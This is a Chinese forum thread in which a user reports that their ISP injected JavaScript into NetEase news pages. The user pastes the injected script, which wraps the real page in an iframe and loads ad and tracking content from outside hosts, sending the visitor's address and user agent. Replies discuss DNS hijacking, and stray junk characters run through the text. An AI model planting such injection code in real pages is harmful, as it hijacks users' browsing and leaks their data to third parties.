上网奇遇记

hudba

上网易看新闻半天打不开，发现状态栏在现实访问一个奇怪的域名。心里一惊，难道电脑中毒了？赶紧查看源代码，发现后面加了一段js，真正的新闻内容给iframe了
& n* j. a; c$ E/ i
' c1 r  \- E5 H- |1 N: v$ K9 `接下来就是去搜索这个域名，得到v2ex里面也有人遇到这个问题，原来是运营商搞的鬼{:soso_e131:}

https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8

http://www.v2ex.com/t/142197

+ f; g# U, q: Z* N( Y- P- _顺便查下ip138：
+ ?; B+ `: c* @" a0 d0 t! L3 a8 x
这是那段js里面的代码，好象是个半成品还没写入广告数据：

1. function locationSearch() {
   
2.         var s = getMainJs();
   
3.         if (s == null) {
   
4.                 location.reload();
   
5.         }
   
6.         return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);
   ' l0 K6 u& p( C  i
7. }
   
8. 
   ' `2 U. S0 x( g# }
9. function getParameter(name, paraStr) {
   
10.         var result = "";
    " \; W# P% E$ T5 |7 y0 \4 B/ A
11.         var str = "&" + paraStr.split("?")[1];
    % |' P# ~6 h$ C/ T6 z$ E
12.         var paraName = "&" + name + "=";
    : [9 N/ u3 ~1 D9 h; G% ]' D( ]3 A
13.         if (str.indexOf(paraName) != -1) {
    & j$ _. t( j# L, y. V
14.                 if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {
    
15.                         var TmpStr = str.substring(str.indexOf(paraName), str.length);
    
16.                         result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(
    
17.                                         1, TmpStr.length).indexOf("&")
    & y% W7 B( ?& J  I
18.                                         - TmpStr.indexOf(paraName) + 1);
    . M+ ~& }8 M& k$ ?& }9 s
19.                 } else {
    
20.                         result = str.substring(str.indexOf(paraName), str.length);
    9 l5 K  X9 k8 |- H# P
21.                 }
    
22. 
    2 Y  R6 c$ _+ O; w( ]# M
23.                 result = result.substring(result.indexOf("=") + 1, result.length);
    
24.         } else {
    . m, |0 v, ]  u0 U8 t% @' n" `7 {# l$ g
25.                 result = "No such parameter";
    
26.         }
    
27.         return (result.replace("&", ""));
    ' P3 z/ g4 b9 K4 U5 S
28. }
    ; S# T! D' e. ~; ~5 ]7 y! `0 r
29. 
    
30. function getMainJs() {
    
31.         var scripts = document.getElementsByTagName("script");
    ) e% ]; r# L! M2 @
32.         var s = null;
    ) J& u" U$ J7 U: S% |3 c/ ~3 K) }6 ^% `
33.         for (var i = 0; i < scripts.length; i++) {
    ( Y" E( y  g4 `8 f7 K" @/ Q; I
34.                 if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {
    + R& U3 D$ L" ~% _6 A
35.                         s = scripts[i];
    
36.                         break;
    # b. A4 K, ]& @! l: ~$ z5 C
37.                 }
    # M1 I$ F4 o* Y2 E& v# O
38.         }
    9 X, C9 s$ v- C, P) x3 j
39.         return s;
    
40. }
    
41. 
    
42. function appendParam(oStr, aStr) {
    ' M$ V& S! p7 S, O% S" G  |* c
43.         if (oStr.indexOf('?') > 0) {
    
44.                 oStr = oStr + "&" + aStr;
    ) e0 F: ~  o6 `: p7 }  Q' \
45.         } else {
    
46.                 oStr = oStr + "?" + aStr;
    ' `, G  o+ _3 X! x# v
47.         }
    
48.         return oStr;
    
49. }
    0 n2 c' m& {( g
50. 
    " j; m9 O8 Z$ Z/ o9 a% k4 r) H( j
51. window.onerror = function() {
    / }5 U7 a% R8 h" e! [- \
52. };
    . M8 e* I9 |6 r
53. 
    
54. var g_titleTime = 0;
    : J. u2 C" b% f8 ~+ ^( l1 u/ d
55. function setTcTitle() {
    2 q9 k+ R( Z4 y; d
56.         if (undefined == document) {
    
57.                 g_titleTime++;
    ! G% B% A- R8 D0 P1 g: n0 ~
58.                 setTimeout("setTcTitle();", 1000);
    
59.                 return;
    
60.         }
    
61. 
    
62.         var doc;
      P( y* G! G- A. q- H, d+ l
63.         try {
    
64.                 if (document.all) {
    7 u1 z# s: i6 [
65.                         doc = document.frames["cn"].document;
    
66.                 } else {
    ( l( M8 K$ l3 _. R' v" i, `/ P/ V
67.                         doc = document.getElementById("cn").contentDocument;
    ; {6 y  j7 E1 }6 B9 v* e6 N
68.                 }
    1 H' R4 ~0 e/ E, V; o+ ?+ J9 W
69.         } catch (ex) {
    
70.         }
    
71. 
    + C& S. X- u+ ?8 F8 ?/ M
72.         if (g_titleTime < 5
    
73.                         && (undefined == doc || undefined == doc.title || "" == doc.title)) {
    
74.                 g_titleTime++;
    
75.                 setTimeout("setTcTitle();", 1000);
    3 A. R! q1 w0 u5 u9 g; o4 o
76.                 return;
    3 k0 S0 S$ J. `' ^* w9 {! v
77.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    
78.                 document.title = doc.title;
    
79.                 setTcAdvVisible();
    
80.         }
    
81. }
    
82. 
    7 ?, T4 S; f% t( A1 U1 @; Z, X/ o
83. setTimeout("setTcTitle();", 1000);
    
84. 
    - c. S) F( M8 ^9 o; c
85. var g_isHaveVisible = false;
    5 j% Y9 |- w; l1 `- w( }/ b. r
86. function setTcAdvVisible() {
    2 u6 j/ u/ v5 Y' [8 F
87.         if (undefined != document && undefined != document.getElementById("addiv")
    9 w, D( S  S. `, f% p7 j
88.                         && !g_isHaveVisible) {
    
89.                 document.getElementById("addiv").style.visibility = 'visible';
      ]# `" v( `) B( a' a
90.                 document.getElementById("addiv").style.display = 'block';
    
91.                 g_isHaveVisible = true;
    & T( h2 u/ l- R$ F4 ^. `
92.         }
    : X9 x4 d. Z. g& w3 |4 C, b" R
93. }
    & b& N! k1 {0 k
94. 
    ( E4 ~' Z5 |0 D( ~1 f  u6 U  R, R
95. function UrlAnalyzer() {
    
96.         this.divda = "";
    ) h, a- O" B& v% f2 D. C
97.         this.tctype = "";
    / R, X3 i4 _5 l% Z7 D: l5 L: q3 O
98.         this.radius = "";
    * L$ V3 G1 @1 }* C2 ~9 w7 k" h
99.         this.rlu = "";
    * \% M% z7 B  p4 Y
100. }
     
101. 
     % O$ C0 E9 y! W  k' I2 H
102. UrlAnalyzer.prototype.initParameters = function() {
     2 [: c' U% u$ s7 @
103.         var paraStr = locationSearch();
     4 H2 h7 Q3 Z! Z$ y+ E. r+ [9 l: e
104.         this.rlu = getParameter("lruedct", paraStr);
     9 n5 K' h9 K4 j) m* t3 E
105.         this.divda = getParameter("divda", paraStr);
     
106.         this.radius = getParameter("radius", paraStr);
     ! n  A$ c' _! n! z6 \
107.         this.tctype = getParameter("tctype", paraStr);
     
108.         this.address = getParameter("address", paraStr);
     
109.         this.usagent = getParameter("usagent", paraStr);
     / A2 h( N& X, F
110. }
     , l6 z* {# }" S  _2 M
111. 
     & c+ M  t1 X, P9 d$ W, ^$ n& |
112. UrlAnalyzer.prototype.getHtmlDoc = function() {
     , W4 n1 e& N8 z  o5 x& i7 ^
113.         var doc;
     / O/ s- A! x2 u* o( t6 G
114.         try {
     
115.                 if (document.all) {
     8 m+ J4 M5 H4 p1 K0 b1 r
116.                         doc = document.frames["cn"].document;
     
117. 
     6 J! _1 A7 n3 R' k& |" Z, H
118.                 } else {
     
119.                         doc = document.getElementById("cn").contentDocument;
     
120.                         // doc = document.getElementById("cn").contentWindow.document;
     * e* q4 d' ^3 J: D: R
121.                 }
     
122.         } catch (ex) {
     
123.         }
     
124.         return doc;
     ; C- S  v9 G# \3 W/ r) x
125. }
     # s$ @2 a5 [1 n5 @4 C4 ]; Q9 m$ A( M
126. 
     
127. UrlAnalyzer.prototype.setDomain = function() {
     % d6 H$ Y) o: B5 h' ^
128.         if (undefined != document.title && "" == document.title)
     
129.         {
     ! @+ j! r; l3 i, B) w+ B
130.                 var index = document.domain.indexOf(".");
     8 g5 R$ r( X: o' A9 R
131.                 if (undefined != index && -1 != index) {
     
132.                         document.domain = document.domain.substring(index + 1,
     % {9 J* A4 ^( y9 d" @
133.                                         document.domain.length);
     / y" F- u2 G2 u+ y* C6 _4 B& ]  q- i
134.                 }
     
135.                
     6 D2 k9 j: k, P$ v  e9 [& z! n
136.                 var doc = this.getHtmlDoc();
     
137.                 if (undefined != doc && undefined != doc.title && "" != doc.title) {
     
138.                         document.title = doc.title;
       S% c! m# a& e  W9 G( J
139.                         setTcAdvVisible();
     : E) X" m; N8 L) X, }1 X8 C7 v' N
140.                 }
     9 R6 Z7 ]$ o: w! u
141.         }
     
142. }
     
143. 
     
144. UrlAnalyzer.prototype.iframeCallback = function() {
     
145.         var doc = this.getHtmlDoc();
     
146.         if (undefined == doc || undefined == doc.title || "" == doc.title) {
     7 j8 g) _" o5 y' U
147.                 if (undefined != document.domain) {
     * v/ @; ^/ [* H
148. 
     $ d6 p2 y7 c. M) z9 }. `, r
149.                         var self = this;
     
150.                         setTimeout(function(){self.setDomain.call(self, null)}, 1000);
     
151.                         // var index = document.domain.indexOf(".");
     1 }5 b$ j: W3 ]2 d, j1 Z3 n
152.                         // if (undefined != index && -1 != index) {
     
153.                         // document.domain = document.domain.substring(index + 1,
     
154.                         // document.domain.length);
     6 n& e; B1 O/ n8 h5 T. `
155.                         // }
     ! `3 ^; F0 S# q1 X4 n, U
156.                         //
     % w! I' }; F# W) `- ?
157.                         // var doc = this.getHtmlDoc();
     
158.                         // if (undefined != doc && undefined != doc.title && "" !=
     , ~. g( m0 u! W6 S1 }" J( N
159.                         // doc.title) {
     
160.                         // document.title = doc.title;
     0 b; H$ R, G/ {4 }
161.                         // setTcAdvVisible();
     
162.                         // }
     0 ~( M8 O" F+ W
163.                 }
     4 M, v$ d. @3 ?! e
164.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
     
165.                 document.title = doc.title;
     
166.                 setTcAdvVisible();
     
167.         }
     ! k% ~+ k. Y1 f5 w/ C! M
168. }
     
169. 
     
170. UrlAnalyzer.prototype.executeHtmlContext = function() {
     ( Y9 D% H$ A/ |, }5 d
171.         var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda
     
172.                         + "&rd=" + this.radius + "&tctype=" + this.divda  + "&address=" + this.address  + "&usagent=" + this.usagent;
     1 C+ S. K! \: f% `
173. 
     & r6 M3 I" O4 ?# N" o( A8 I
174.         var htmlStr = "<iframe src="" + staUrl
     
175.                         + "" style="display:none"></iframe>";
     / `) r- ?& }9 e( t( g7 T$ f
176. 
     ! t6 P5 L* b7 ]+ G$ \1 g
177.         var advUrl = htmlStr
     
178.                         + "<script src="http://c2.sxite.com:8060/center?advId="
     # h- M. \4 F6 d: U# i
179.                         + this.divda + "&radius=" + this.radius  + "&area=1" + ""><\/script>";
     5 T( G% D1 y- t8 c4 a
180.         document.write(advUrl);
     
181. 
     2 O; d5 N9 M6 o+ h; }* [
182.         var self = this;
     9 _/ g% l$ O$ l" Z
183.         var iframe = document.getElementById("cn");
     
184.         if (iframe.attachEvent) {
     
185.                 iframe.attachEvent("onload", function() {
     
186.                         self.iframeCallback.call(self, null);
       }# U3 J+ x- q- @0 m3 }! Z* A
187.                 });
     
188.         } else {
     . T5 P- G; I# R+ ~
189.                 iframe.onload = function() {
       j2 J2 D4 P! \& C3 H1 j- N& b
190.                         self.iframeCallback.call(self, null);
     9 p' K$ ^- v( P. P
191.                 }
     6 Z; s/ d5 M7 |1 p4 [/ V9 r" r
192.         }
     ( Z0 N9 B# E  u; Z: R; S+ x
193. }
     
194. 
     
195. UrlAnalyzer.prototype.executeMain = function() {
     ) C/ g3 \# K, ^" V3 S- K
196.         var mainFrame = document.getElementById("cn");
     % D. B# {+ W( q$ X% g
197.         mainFrame.contentWindow.location.href = mainFrame.src;
     
198.         this.initParameters();
     
199.         this.executeHtmlContext();
     
200. }
     + {. U2 R0 n: R. Z/ z5 `
201. 
     # v  y. U( ^8 M
202. var g_analyzer = new UrlAnalyzer();
     ! \+ ^$ s+ j# K& O8 ]
203. g_analyzer.executeMain();
     , x2 X9 `$ n8 z; l2 c3 K

复制代码

5 A1 ^# |! W/ s" S1 w( L, \

ads419

Welcome to China      

cissss

我在想有没有大牛会去干电信那个网页，那就发啦。哈哈

阿百川

所以从不使用运行商的dns，http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错

firearmer

法制不健全，没法。我这里也有电信绑架的问题，但你没辙，要国外，早赔的只剩内裤了。

老刘

电信DNS劫持不是一天两天了。国家垄断企业，没人能管”。。。

giveatry

我这段时间也遇到了，投诉了两次，这几天没出现了，再出现继续投诉

ads419

阿百川 发表于 2015-2-3 09:49
3 `, B: n. }1 P8 O0 [所以从不使用运行商的dns，http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错 ...

; @4 [: a: v* j/ ^$ }+ eTCP劫持，换DNS也不管用的。

阿百川

ads419 发表于 2015-2-3 21:26
) F1 ?8 [6 X8 H: yTCP劫持，换DNS也不管用的。

1 G) w+ J( t2 {幸好联通还木有这么强的技术

哈默

在国内，习惯就好